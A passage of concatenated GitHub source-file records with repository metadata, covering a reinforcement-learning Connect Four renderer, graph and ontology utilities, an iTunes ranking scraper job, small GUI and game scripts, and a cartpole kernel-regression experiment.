-1 # Tracker for which player's turn it is\n score = 0\n for idx_step in range(max_steps):\n action_mask = observation[\"action_mask\"]\n if player < 0:\n state = np.moveaxis(observation[\"observation\"], [-1], [-3])\n state = np.expand_dims(state, 0)\n if opponent_first:\n if opponent_difficulty == \"self\":\n action = opponent.getAction(\n state, epsilon=0, action_mask=action_mask\n )[0]\n elif opponent_difficulty == \"random\":\n action = opponent.getAction(action_mask)\n else:\n action = opponent.getAction(player=0)\n else:\n action = dqn.getAction(\n state, epsilon=0, action_mask=action_mask\n )[\n 0\n ] # Get next action from agent\n if player > 0:\n state = np.moveaxis(observation[\"observation\"], [-1], [-3])\n state[[0, 1], :, :] = state[[0, 1], :, :]\n state = np.expand_dims(state, 0)\n if not opponent_first:\n if opponent_difficulty == \"self\":\n action = opponent.getAction(\n state, epsilon=0, action_mask=action_mask\n )[0]\n elif opponent_difficulty == \"random\":\n action = opponent.getAction(action_mask)\n else:\n action = opponent.getAction(player=1)\n else:\n action = dqn.getAction(\n state, epsilon=0, action_mask=action_mask\n )[\n 0\n ] # Get next action from agent\n env.step(action) # Act in environment\n observation, reward, termination, truncation, _ = env.last()\n # Save the frame for this step and append to frames list\n frame = env.render()\n frames.append(\n _label_with_episode_number(\n frame, episode_num=ep, frame_no=idx_step, p=p\n )\n )\n\n if (player > 0 and opponent_first) or (\n player < 0 and not opponent_first\n ):\n score += reward\n else:\n score -= reward\n\n # Stop episode if any agents have terminated\n if truncation or termination:\n break\n\n player *= -1\n\n print(\"-\" * 15, f\"Episode: {ep+1}\", \"-\" * 15)\n print(f\"Episode length: {idx_step}\")\n print(f\"Score: {score}\")\n\n print(\"============================================\")\n\n frames = resize_frames(frames, 0.5)\n\n # Save the gif to specified path\n gif_path = \"./videos/\"\n os.makedirs(gif_path, exist_ok=True)\n imageio.mimwrite(\n os.path.join(\"./videos/\", f\"connect_four_{opponent_difficulty}_opp.gif\"),\n frames,\n duration=400,\n loop=True,\n )\n\n env.close()\n","repo_name":"AgileRL/AgileRL","sub_path":"tutorials/PettingZoo/render_agilerl_dqn.py","file_name":"render_agilerl_dqn.py","file_ext":"py","file_size_in_byte":7093,"program_lang":"python","lang":"en","doc_type":"code","stars":432,"dataset":"github-code","pt":"5"} +{"seq_id":"20199168265","text":"import matplotlib.pyplot as plt\nfrom wordcloud import WordCloud, STOPWORDS\n\nfrom dataset import load_dataset_pd\n\nMAX_NUM_SAMPLE = 10\nMAX_NUM_WORDS_TO_SHOW = 100\n\n\ndef cmd_print(title: str, value: any):\n side_padding = 2\n roof = \"*\" * (len(title) + (side_padding * 2) + 4)\n print(\"\\n\")\n print(roof)\n print(f\"**{' ' * side_padding}{title}{' ' * side_padding}**\")\n print(roof)\n if value is not None:\n print(value)\n\n\ndf = load_dataset_pd()\n\n# Info\ncmd_print(\"Info\", None)\ndf.info()\n\n# Sample\n# cmd_print(f\"Sample of {MAX_NUM_SAMPLE}\", df.head(MAX_NUM_SAMPLE))\n\n# All categories\ncmd_print(\"All categories\", df[\"category\"].value_counts())\n\n# Box plot of name lengths\ndf[\"name_len\"] = [len(r) for r in df[\"name\"]]\nfig, ax = plt.subplots(figsize=(5, 5))\nfig.suptitle(\"Box plot of name lengths\")\nplt.boxplot(df[\"name_len\"])\nplt.show()\n\n\n# See most common words\ndef wordcloud_by_category(category: str):\n names = df[df.category.str.contains(category)][\"name\"]\n all_names = \" \".join(names.str.lower())\n wordcloud = WordCloud(stopwords=STOPWORDS, background_color=\"black\", max_words=1000).generate(all_names)\n plt.title = f\"Common words for '{category}'\"\n plt.imshow(wordcloud, interpolation=\"bilinear\")\n plt.axis(\"off\")\n plt.show()\n\n\nwordcloud_by_category(\"graphic cards\")\nwordcloud_by_category(\"make up\")\n","repo_name":"giwiro/simple-classifier","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71329882713","text":"import module.graph_lib.downloader as downloader\nfrom module.graph_lib.constants import *\nimport module.graph_lib.graph_utils as graph_utils\nimport argparse\n\n\"\"\"\nThis file produces the static files required for BGV. \n\"\"\"\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--download', action=\"store_true\", help='whether or not to download the graph data files')\n parser.add_argument('--graph', action=\"store_true\", help='whether or not to build and save the graph pickle')\n parser.add_argument('--autocomplete', action=\"store_true\", help='whether or not to generate autocomplete json')\n args = parser.parse_args()\n\n download = args.download\n graph = args.graph\n autocomplete = args.autocomplete\n\n if download:\n downloader.download_all_data()\n\n if graph:\n g = graph_utils.get_graph(replace_pickle=True) # builds a new graph from local files and saves pickle\n graph_utils.get_pagerank_dict(pickle_path=PAGERANK_DICT_PICKLE_PATH, replace_pickle=True) # runs pagerank on graph and saves pickle\n else:\n g = graph_utils.get_graph(replace_pickle=False)\n\n if autocomplete:\n if not os.path.exists(AUTOCOMPLETE_DIR):\n os.mkdir(AUTOCOMPLETE_DIR)\n graph_utils.save_all_node_names_ids_json(g, out_path=os.path.join(AUTOCOMPLETE_DIR, \"all_node_names_ids.json\"))\n graph_utils.save_all_concept_names_ids_json(out_path=os.path.join(AUTOCOMPLETE_DIR, \"all_concept_names_ids.json\"))\n","repo_name":"ashtonteng/biomedical-graph-visualizer","sub_path":"setup_graph.py","file_name":"setup_graph.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"17383523747","text":"from overrides import overrides\nfrom typing import List\n\nfrom rdflib import Namespace\nfrom rdflib.namespace import RDF, RDFS\n\nfrom pathhier.ontology import Ontology\n\n\nBP3 = Namespace(\"http://www.biopax.org/release/biopax-level3.owl#\")\n\n\n# class for representing reactome ontology (has BP3 properties and types)\nclass ReactomeOntology(Ontology):\n def __init__(self,\n name: str,\n filename: str = None):\n super().__init__(name, filename)\n\n @overrides\n def get_label(self, uri) -> str:\n \"\"\"\n Get label of object given by uri\n :param uri\n :return:\n \"\"\"\n label = self.graph.label(uri)\n if label:\n return label.value\n\n displayNames = self.graph.objects(uri, BP3['displayName'])\n if displayNames:\n return list(displayNames)[0].value\n\n standardNames = self.graph.objects(uri, BP3['standardName'])\n if standardNames:\n return list(standardNames)[0].value\n\n return \"\"\n\n @overrides\n def get_all_labels(self, uri) -> List:\n \"\"\"\n Get preferred label of object given by uri\n :param uri:\n :return:\n \"\"\"\n labels = []\n for lbl_type, lbl_value in self.graph.label(uri):\n labels.append(lbl_value.value)\n for lbl_type, lbl_value in self.graph.preferredLabel(uri):\n labels.append(lbl_value.value)\n for lbl_value in self.graph.objects(uri, BP3['displayName']):\n labels.append(lbl_value.value)\n for lbl_value in self.graph.objects(uri, BP3['standardName']):\n labels.append(lbl_value.value)\n for lbl_value in self.graph.objects(uri, BP3['name']):\n labels.append(lbl_value.value)\n return list(set(labels))\n\n @overrides\n def get_xrefs(self, uri) -> List:\n \"\"\"\n Get xrefs of object given by uri\n :param uri:\n :return:\n \"\"\"\n xrefs = []\n for xref in self.graph.objects(uri, self.oboInOwl_hasDbXref):\n xrefs.append(xref.value)\n for xref in self.graph.objects(uri, BP3['xref']):\n db = list(self.graph.objects(xref, BP3['db']))\n id = list(self.graph.objects(xref, BP3['id']))\n if db and id:\n x_val = '{}:{}'.format(db[0].value, id[0].value)\n xrefs.append(x_val)\n for entRef in self.graph.objects(uri, BP3['entityReference']):\n xref_entries = self.graph.objects(entRef, BP3['xref'])\n for xref in xref_entries:\n db = list(self.graph.objects(xref, BP3['db']))\n id = list(self.graph.objects(xref, BP3['id']))\n if db and id:\n x_val = '{}:{}'.format(db[0].value, id[0].value)\n xrefs.append(x_val)\n return xrefs\n\n @overrides\n def get_subClassOf(self, uri) -> List:\n \"\"\"\n Get superclass of obj\n :param uri:\n :return:\n \"\"\"\n superclasses = []\n for sc in self.graph.objects(uri, RDFS.subClassOf):\n xrefs = self.get_xrefs(sc)\n use_ids = [x for x in xrefs if x.startswith('Reactome:')]\n if use_ids:\n superclasses.append(use_ids[0])\n return superclasses\n\n @overrides\n def get_part_of(self, uri) -> List:\n \"\"\"\n Get part superclasses of obj\n :param uri:\n :return:\n \"\"\"\n part_super = []\n for ps in self.graph.objects(uri, self.obo_part_of):\n xrefs = self.get_xrefs(ps)\n use_ids = [x for x in xrefs if x.startswith('Reactome:')]\n if use_ids:\n part_super.append(use_ids[0])\n for ps in self.graph.subjects(BP3['pathwayComponent'], uri):\n if (ps, RDF.type, BP3['Pathway']) in self.graph:\n xrefs = self.get_xrefs(ps)\n use_ids = [x for x in xrefs if x.startswith('Reactome:')]\n if use_ids:\n part_super.append(ps)\n return part_super\n","repo_name":"lucylw/pathhier","sub_path":"pathhier/reactome_ontology.py","file_name":"reactome_ontology.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"11053501729","text":"import wsgiref.handlers\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import login_required\nfrom google.appengine.api import urlfetch\nfrom google.appengine.api.labs import taskqueue\nimport re\nimport string\nimport settings\nimport jobs.app_store_codes\nfrom processors import ranking_persister\n\n\nclass RankingsJob(webapp.RequestHandler):\n\n\tdef get(self):\n\t\tfor pid in settings.PRODUCTS:\n\t\t\tpaid = settings.PRODUCTS[pid]['paid']\n\t\t\tiPad = settings.PRODUCTS[pid]['iPad']\n\t\t\tcategory = jobs.app_store_codes.CATEGORIES[settings.PRODUCTS[pid]['category_name']]\n\n\t\t\tif 'popId' not in category:\n\t\t\t\tnew_category = {}\n\t\t\t\tif iPad:\n\t\t\t\t\tnew_category['popId'] = 47 if paid else 44\n\t\t\t\telse:\n\t\t\t\t\tnew_category['popId'] = 30 if paid else 27\n\t\t\t\tnew_category['genreId'] = category['genreId']\n\t\t\t\tcategory = new_category\n\t\t\t# Queue requests for category rankings\n\t\t\tself.fetch_rankings(pid, category)\n\n\t\t\t# Queue requests for top 100 list\n\t\t\tif iPad:\n\t\t\t\tif paid:\n\t\t\t\t\tself.fetch_rankings(pid, jobs.app_store_codes.CATEGORIES['iPad Top 100 Paid'])\n\t\t\t\t\t# Queue requests for top grossing list\n\t\t\t\t\tself.fetch_rankings(pid, jobs.app_store_codes.CATEGORIES['iPad Top 100 Grossing'])\n\t\t\t\telse:\n\t\t\t\t\tself.fetch_rankings(pid, jobs.app_store_codes.CATEGORIES['iPad Top 100 Free'])\n\t\t\telse:\n\t\t\t\tif paid:\n\t\t\t\t\tself.fetch_rankings(pid, jobs.app_store_codes.CATEGORIES['Top 100 Paid'])\n\t\t\t\t\t# Queue requests for top grossing list\n\t\t\t\t\tself.fetch_rankings(pid, jobs.app_store_codes.CATEGORIES['Top Grossing'])\n\t\t\t\telse:\n\t\t\t\t\tself.fetch_rankings(pid, jobs.app_store_codes.CATEGORIES['Top 100 Free'])\n\t\t\t\t\n\n\tdef fetch_rankings(self, pid, category):\n\t\tapp_id = settings.PRODUCTS[pid]['app_id']\n\n\t\t# Fetch ranking in each country for the application's category\n\t\t# Break into queued tasks for offline, asychronous processing\n\t\tcountries_per_task = 3\n\t\tcount = 0\n\t\tstore_ids_to_process = []\n\t\tfor store_id in jobs.app_store_codes.COUNTRIES:\n\t\t\tcount += 1\n\t\t\tstore_ids_to_process.append(store_id)\n\t\t\tif count % countries_per_task == 0 or count == len(jobs.app_store_codes.COUNTRIES):\n\t\t\t\t# Enqueue task and reset list\n\t\t\t\ttaskqueue.add(url='/jobs/pull_rankings/worker',\n\t\t\t\t\t\t\t\tmethod='POST',\n\t\t\t\t\t\t\t\tparams={\n\t\t\t\t\t\t\t\t\t\t'pid': pid,\n\t\t\t\t\t\t\t\t\t\t'app_id': app_id,\n\t\t\t\t\t\t\t\t\t\t'store_ids': ','.join(map(str, store_ids_to_process)),\n\t\t\t\t\t\t\t\t\t\t'category_id': category['genreId'],\n\t\t\t\t\t\t\t\t\t\t'pop_id': category['popId'],\n\t\t\t\t\t\t\t\t\t\t})\n\t\t\t\tstore_ids_to_process = []\n\n\tdef _is_int(self, value):\n\t\tif int(value) == value:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\nclass RankingsWorker(webapp.RequestHandler):\n\n\tdef post(self):\n\t\tpid = self.request.get('pid')\n\t\tapp_id = int(self.request.get('app_id'))\n\t\tstore_ids = string.split(self.request.get('store_ids'), ',')\n\t\tcategory_id = int(self.request.get('category_id'))\n\t\tpop_id = int(self.request.get('pop_id'))\n\n\t\tfor store_id in store_ids:\n\t\t\tranking = self.category_ranking(app_id, int(store_id), category_id, pop_id)\n\n\t\t\tif ranking != None:\n\t\t\t\t# Store this ranking\n\t\t\t\tranking_persister.persist_ranking(pid, ranking, jobs.app_store_codes.COUNTRIES[int(store_id)], self._category_name(category_id, pop_id))\n\n\tdef category_ranking(self, app_id, store_id, category_id, pop_id):\n\t\t# Append the store id to the URL because GAE caches the request otherwise\n\t\turl = \"http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTop?genreId=%d&popId=%d&%d\" % (category_id, pop_id, store_id)\n\t\tuser_agent = \"iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2\"\n\t\theaders = {\n\t\t\t\t\t'User-Agent': user_agent,\n\t\t\t\t\t'X-Apple-Store-Front': \"%d-1\" % store_id,\n\t\t\t\t\t'Cache-Control': 'max-age=0',\n\t\t\t\t}\n\t\tresponse = urlfetch.fetch(url=url,\n\t\t\t\t\t\t\t\tmethod=urlfetch.GET,\n\t\t\t\t\t\t\t\tdeadline=10,\n\t\t\t\t\t\t\t\theaders=headers)\n\n\t\tpattern = re.compile(r\"buyParams=.+?Id=(\\d+)\")\n\t\trankings = pattern.findall(response.content)\n\n\t\trank = 0\n\t\tvalue = None\n\t\tfor app in rankings:\n\t\t\trank += 1\n\t\t\tif int(app) == app_id:\n\t\t\t\tvalue = rank\n\t\t\t\tbreak\n\n\t\treturn value\n\n\tdef _category_name(self, category_id, pop_id, pop_id_search=False):\n\t\ti = 0\n\t\tcategory_name = None\n\t\tfor name, category in jobs.app_store_codes.CATEGORIES.items():\n\t\t\tif pop_id_search:\n\t\t\t\tif category['genreId'] == category_id and category['popId'] == pop_id:\n\t\t\t\t\tcategory_name = name\n\t\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tif category['genreId'] == category_id:\n\t\t\t\t\ti += 1\n\t\t\t\t\tcategory_name = name\n\n\t\tif i > 1:\n\t\t\t# There is more than 1 category with the same id, so differentiate by popId as well\n\t\t\treturn self._category_name(category_id, pop_id, True)\n\n\t\treturn category_name\n\n\ndef main():\n\tapplication = webapp.WSGIApplication([('/jobs/pull_rankings', RankingsJob),\n\t\t\t\t\t\t\t\t\t\t\t('/jobs/pull_rankings/worker', RankingsWorker)], debug=True)\n\twsgiref.handlers.CGIHandler().run(application)\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"baz/app-sales-machine","sub_path":"jobs/pull_rankings.py","file_name":"pull_rankings.py","file_ext":"py","file_size_in_byte":4763,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"5"} +{"seq_id":"24451657268","text":"# Need the function for the button, need customtkinter for the GUI\r\ntext = \"You are going to impact the world in a good way! Keep going!\"\r\ncount = 0\r\ndef button():\r\n global text # Makes the variable not just local to the function\r\n global count\r\n global label\r\n global GUI_button\r\n global reset_button\r\n if count == 0:\r\n count += 1\r\n label = customtkinter.CTkLabel(root, text=text)\r\n return label.pack() # Needs to be used instead of print() so it goes to GUI\r\n elif count == 1:\r\n count -= 1\r\n label.destroy()\r\n GUI_button.destroy()\r\n return reset_button.pack(padx=100, pady=100)\r\n\r\ndef reset():\r\n global GUI_button\r\n global text\r\n global reset_button\r\n GUI_button = customtkinter.CTkButton(master=root, text=\"Press for Surprise!!\", command=button)\r\n label = customtkinter.CTkLabel(root, text=text)\r\n reset_button.destroy()\r\n reset_button = customtkinter.CTkButton(master=root, text=\"Reset\", command=reset)\r\n return GUI_button.pack(padx=100, pady=100)\r\n\r\n\r\nimport customtkinter\r\n\r\ncustomtkinter.set_appearance_mode(\"dark\") # sets my window to be dark mode\r\ncustomtkinter.set_default_color_theme(\"dark-blue\") # sets appearance theme to dark blue\r\n\r\nroot = customtkinter.CTk() # this is the created window\r\nroot.geometry(\"500x350\") # sets the size of the window\r\n\r\n# Create the button and set it to the root with text on top of it\r\nGUI_button = customtkinter.CTkButton(master=root,text=\"Press for Surprise!!\",command=button) # command calls fxn\r\nGUI_button.pack(padx=100, pady=100) # Need this so it shows on the root window\r\n\r\nreset_button = customtkinter.CTkButton(master=root, text=\"Reset\", command=reset)\r\n\r\n\r\nroot.mainloop() # This is needed at the end to show the window","repo_name":"Shaunblast/Encouraging_Button_GUI","sub_path":"Encouraging_Button_GUI.py","file_name":"Encouraging_Button_GUI.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24707748045","text":"from CartPole import *\nimport numpy as np\nimport random\n\ndef kernel(X,Xi,sigma):\n K = np.zeros((X.shape[0],Xi.shape[0]))\n dim = X.shape[1]\n for i,x in enumerate(X):\n for j,xi in enumerate(Xi):\n sum = 0\n for k in range(dim):\n if k == 2:\n sum += 1.0*np.sin((x[k]-xi[k])/2)**2/sigma[k]**2\n else:\n sum += 1.0*(x[k]-xi[k])**2/sigma[k]**2\n K[i,j] = np.exp(-0.5*sum)\n return K\n\ndef fit(K_NM,K_MM,lam,Y):\n \"\"\"return coefficients for each of the dimensions\"\"\"\n K_MN = np.transpose(K_NM)\n A = np.matmul(K_MN,K_NM) + lam * K_MM\n B = np.matmul(K_MN,Y)\n alpha = np.linalg.lstsq(A,B)[0]\n return alpha\n\ndef predict(X,XM,sigma,alpha):\n K_MN = kernel(X,XM,sigma)\n return np.matmul(K_MN,alpha)\n\ndef mse(y1,y2):\n se = 0\n for i,j in zip(y1,y2):\n# se += abs((i-j)/i)\n # se += np.square(i-j)\n se += np.linalg.norm(i-j)**2\n return se/y1.shape[0]\n\n\nlam = 10**(-4) # variance of data noise\ncartpole1 = CartPole()\n\ndef gen_train(N,s):\n X = []\n Y = []\n M = 800\n for i in range(N):\n x = random.uniform(-5,5)\n x_dot = random.uniform(-10,10)\n theta = random.uniform(-np.pi,np.pi)\n theta_dot = random.uniform(-15,15)\n act = random.uniform(-20,20)\n Xn = np.array([x,x_dot,theta,theta_dot,act])\n X.append(Xn)\n cartpole1.setState(Xn[:-1])\n cartpole1.performAction(action=Xn[-1])\n Xn_1 = np.array(cartpole1.getState())\n Y.append(Xn_1-Xn[:-1])\n X = np.array(X)\n X_wn = X + np.random.normal(0,s,size=(N,5))\n Y = np.array(Y)\n Y_wn = Y + np.random.normal(0,s,size=(N,4))\n\n\n M_ind = random.sample(range(N),M)\n XM = np.array([X[ind] for ind in M_ind])\n XM_wn = np.array([X_wn[ind] for ind in M_ind])\n sigma = [np.std(X[:,i]) for i in range(X.shape[1])]\n K_NM = kernel(X,XM,sigma)\n K_MM = kernel(XM,XM,sigma)\n K_NM_wn = kernel(X_wn,XM_wn,sigma)\n K_MM_wn = kernel(XM_wn,XM_wn,sigma)\n alpha = fit(K_NM,K_MM,lam,Y)\n alpha_wn = fit(K_NM_wn,K_MM_wn,lam,Y_wn)\n Y_predict = predict(X,XM,sigma,alpha)\n Y_predict_wn = predict(X,XM_wn,sigma,alpha_wn)\n\n return mse(Y_predict,Y), mse(Y_predict_wn,Y)\n\nlist_N = []\nsigma_list = [0.05, 0.1, 0.2]\nm_list = []\nm_wnlist = []\nN = 1000 \n\nfor i in range(4):\n print(N)\n list_N.append(N)\n m = []\n m_wn = []\n for sig in sigma_list:\n a, b = gen_train(N,sig)\n m.append(a)\n m_wn.append(b)\n m_list.append(1.0*sum(m)/len(m))\n m_wnlist.append(m_wn)\n N *= 2\n \nm_list = np.array(m_list)\nm_wnlist = np.array(m_wnlist)\nprint(m_list)\nprint(m_wnlist)\n\nplt.plot(list_N,m_list,label='without noise')\nplt.plot(list_N,m_wnlist[:,0],label='observation noise sigma = 0.05')\nplt.plot(list_N,m_wnlist[:,1],label='observation noise sigma = 0.1')\nplt.plot(list_N,m_wnlist[:,2],label='observation noise sigma = 0.2')\nplt.xscale('log')\nplt.legend()\nplt.show()\n\n","repo_name":"Joycy-xh297/inverted_pendulum","sub_path":"nonlin_mse.py","file_name":"nonlin_mse.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32498221986","text":"import gc\nimport os\n\nfrom dask.diagnostics import ProgressBar\nfrom dask import compute\nfrom dask import delayed\nimport matplotlib.patheffects as pe\nimport matplotlib.pyplot as plt\nimport networkx as nx\nfrom tqdm import tqdm\n\n\ndef plot_gdf_vs_nx(G, gdf, boundaries):\n positions = {n: [n[0], n[1]] for n in list(G.nodes)}\n\n f, ax = plt.subplots(1, 2, figsize=(30, 30), sharex=True, sharey=True)\n\n for i, facet in enumerate(ax):\n facet.set_title((\"gdf\", \"nx\")[i])\n facet.axis(\"off\")\n\n boundaries.plot(edgecolor=\"red\", ax=ax[0])\n gdf.plot(color=\"k\", ax=ax[0])\n\n boundaries.plot(edgecolor=\"red\", ax=ax[1])\n nx.draw(G, positions, ax=ax[1], node_size=5)\n\n\ndef plot_path_n(G, paths, orig_points, dest_points, boundaries, n):\n f, ax = plt.subplots(figsize=(30, 30))\n\n boundaries.plot(edgecolor=\"red\", facecolor=\"none\", ax=ax)\n\n positions = {z: [z[0], z[1]] for z in list(G.nodes)}\n nx.draw(G, positions, node_size=5, ax=ax)\n\n x, y = zip(*paths[n][1])\n ax.plot(x, y, c=\"k\", lw=20, alpha=0.5)\n ax.scatter(orig_points.iloc[n].x, orig_points.iloc[n].y, color=\"green\", s=500)\n ax.scatter(x[0], y[0], color=\"red\", s=500)\n ax.scatter(x[-1], y[-1], color=\"green\", s=500)\n ax.scatter(dest_points.x, dest_points.y, color=\"k\", s=250)\n\n\ndef plot_graph(G, ax):\n\n positions = {z: [z[0], z[1]] for z in list(G.nodes)}\n nx.draw(G, positions, node_size=5, ax=ax)\n\n\ndef plot_paths_to_files(G, paths, orig_points, dest_points, boundaries, dirpath):\n assert os.path.exists(dirpath)\n\n for n in tqdm(range(len(paths))):\n\n x, y = zip(*paths[n][1])\n\n f, ax = plt.subplots(figsize=(30, 30))\n\n boundaries.plot(edgecolor=\"red\", ax=ax)\n plot_graph(G, ax)\n ax.plot(x, y, c=\"k\", lw=20, alpha=0.5)\n\n ax.scatter(orig_points.iloc[n].x, orig_points.iloc[n].y, color=\"green\", s=500)\n ax.scatter(x[0], y[0], color=\"red\", s=500)\n ax.scatter(x[-1], y[-1], color=\"green\", s=500)\n ax.scatter(dest_points.x, dest_points.y, color=\"k\", s=250)\n\n f.savefig(f\"{dirpath}/{n}.png\")\n f.clf()\n plt.close(f)\n\n\ndef plot_paths_to_files_delayed(\n G, paths, orig_points, dest_points, boundaries, dirpath\n):\n assert os.path.exists(dirpath)\n\n figures = []\n for n in tqdm(range(len(paths))):\n\n f, ax = plt.subplots(figsize=(30, 30))\n\n delayed(boundaries.plot)(edgecolor=\"red\", ax=ax)\n\n delayed(plot_graph)(G, ax)\n\n x, y = zip(*paths[n][1])\n delayed(ax.plot)(x, y, c=\"k\", lw=20, alpha=0.5)\n delayed(ax.scatter)(\n orig_points.iloc[n].x, orig_points.iloc[n].y, color=\"green\", s=500\n )\n delayed(ax.scatter)(x[0], y[0], color=\"red\", s=500)\n delayed(ax.scatter)(x[-1], y[-1], color=\"green\", s=500)\n delayed(ax.scatter)(dest_points.x, dest_points.y, color=\"k\", s=250)\n\n figures.append(delayed(f.savefig)(f\"{dirpath}/{n}.png\"))\n delayed(f.clf())\n delayed(plt.close(f))\n\n with ProgressBar():\n compute(*figures)\n\n\ndef plot_heatmap_vs_capacitymap(heatmap, capacitymap, boundaries):\n\n f, ax = plt.subplots(figsize=(100, 100))\n\n boundaries.plot(ax=ax, facecolor=\"orange\", edgecolor=\"red\")\n heatmap.query(\"station_name != 'mv/lv'\").plot(ax=ax, color=\"blue\", markersize=3000)\n capacitymap.plot(ax=ax, color=\"cyan\", markersize=3000)\n\n heatmap.query(\"station_name != 'mv/lv'\").apply(\n lambda gdf: ax.annotate(\n text=gdf[\"station_name\"],\n xy=gdf.geometry.centroid.coords[0],\n ha=\"center\",\n fontsize=14,\n color=\"white\",\n path_effects=[pe.withStroke(linewidth=2, foreground=\"black\")],\n ),\n axis=1,\n )\n capacitymap.apply(\n lambda gdf: ax.annotate(\n text=gdf[\"station_name\"],\n xy=gdf.geometry.centroid.coords[0],\n ha=\"center\",\n fontsize=14,\n color=\"white\",\n path_effects=[pe.withStroke(linewidth=2, foreground=\"black\")],\n ),\n axis=1,\n )\n\n plt.legend([\"heatmap\", \"capacitymap\"], prop={\"size\": 100})\n\n return f\n\n\ndef plot_small_areas_linked_to_stations(small_areas, stations):\n\n f, ax = plt.subplots(figsize=(100, 100))\n\n small_areas.plot(ax=ax, column=\"station_name\", cmap=\"binary\")\n stations.plot(\n ax=ax,\n color=\"teal\",\n markersize=5000,\n )\n stations.apply(\n lambda gdf: ax.annotate(\n text=gdf[\"station_name\"],\n xy=gdf.geometry.centroid.coords[0],\n ha=\"center\",\n fontsize=12,\n color=\"black\",\n path_effects=[pe.withStroke(linewidth=2, foreground=\"white\")],\n ),\n axis=1,\n )\n\n return f\n\n\ndef plot_cad_stations_vs_heatmap_stations(cad_stations, heatmap_stations, boundaries):\n\n f, ax = plt.subplots(figsize=(100, 100))\n boundaries.plot(ax=ax, facecolor=\"orange\", edgecolor=\"teal\")\n\n heatmap_stations.plot(\n ax=ax,\n color=\"teal\",\n markersize=2000,\n )\n heatmap_stations.apply(\n lambda gdf: ax.annotate(\n text=gdf[\"station_name\"],\n xy=gdf.geometry.centroid.coords[0],\n ha=\"center\",\n fontsize=12,\n color=\"black\",\n path_effects=[pe.withStroke(linewidth=2, foreground=\"white\")],\n ),\n axis=1,\n )\n\n cad_stations.plot(ax=ax, markersize=100, color=\"black\")\n\n return f","repo_name":"codema-dev/dublin-electricity-network","sub_path":"dublin_electricity_network/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":5415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7158879471","text":"import time\nfrom random import choice, randint\nfrom turtle import Turtle\n\nCOLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"purple\"]\nSTARTING_MOVE_DISTANCE = 5\nMOVE_INCREMENT = 10\n\n\nclass CarManager(Turtle):\n def __init__(self) -> None:\n super().__init__()\n self.car_list = []\n \n def set_attributes(self):\n self.penup()\n self.shape('square')\n self.shapesize(1, 2)\n self.color(choice(COLORS))\n self.initial_position()\n\n def create_cars(self):\n random_chance = randint(1, 6)\n if random_chance == 1:\n cars = CarManager()\n cars.set_attributes()\n self.car_list.append(cars)\n for car in self.car_list:\n car.move_left()\n\n def move_left(self):\n self.backward(STARTING_MOVE_DISTANCE)\n\n def initial_position(self):\n random_y = randint(-250, 220)\n self.goto(300, random_y)\n\n def speed_up(self):\n global STARTING_MOVE_DISTANCE\n STARTING_MOVE_DISTANCE += MOVE_INCREMENT\n self.backward(STARTING_MOVE_DISTANCE)\n","repo_name":"lrod131/100_of_code","sub_path":"day 23: turtle crossing game/car_manager.py","file_name":"car_manager.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71631233432","text":"import setuptools\n\nversion = '1.2.1'\nsetuptools.setup(\n name='nose',\n version=version,\n url='http://pypi.python.org/packages/source/n/nose/nose-%s.tar.gz' % version,\n license='OSI Approved :: GNU Library or Lesser General Public License (LGPL)',\n author='Jason Pellerin',\n author_email='jpellerin+nose@gmail.com'\n)\n","repo_name":"libertyy/packages","sub_path":"pkgs/nose/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34823068125","text":"import operator\r\n\r\n\r\ndef transpose(iterables):\r\n return zip(*iterables)\r\n\r\n\r\ndef get_number(iter):\r\n if isinstance(iter, int) or isinstance(iter, float):\r\n casting_result = iter\r\n else:\r\n try:\r\n casting_result = int(iter)\r\n except ValueError:\r\n return None\r\n\r\n return casting_result\r\n\r\n\r\ndef scalar_product(iterable1, iterable2):\r\n iterable1 = list(map(get_number, iterable1))\r\n iterable2 = list(map(get_number, iterable2))\r\n\r\n if all(iterable1) and all(iterable2):\r\n return sum(map(operator.mul, iterable1, iterable2))\r\n\r\n return None\r\n\r\n\r\nif __name__ == '__main__':\r\n expected = [[1, 2, 3], [-1, 3, 2]]\r\n actual = transpose([[1, -1], [2, 3], [3, 2]])\r\n assert expected == list(map(list, actual))\r\n\r\n expected = 1\r\n actual = scalar_product([1, 2], [-1, 1])\r\n assert expected == actual\r\n\r\n actual = scalar_product([1, 'xyz'], [-1, 1])\r\n assert actual is None\r\n","repo_name":"tsimafeip/master-course","sub_path":"Python/practice/Lab3/iter_helpers.py","file_name":"iter_helpers.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3907021673","text":"import unittest\n\nfrom rl.leetcode.ConstructBinaryTree import ConstructBinaryTree, TreeNode\n\n\nclass ConstructBinaryTreeTests(unittest.TestCase):\n\n def test_traversal(self):\n tree_node = TreeNode(1)\n 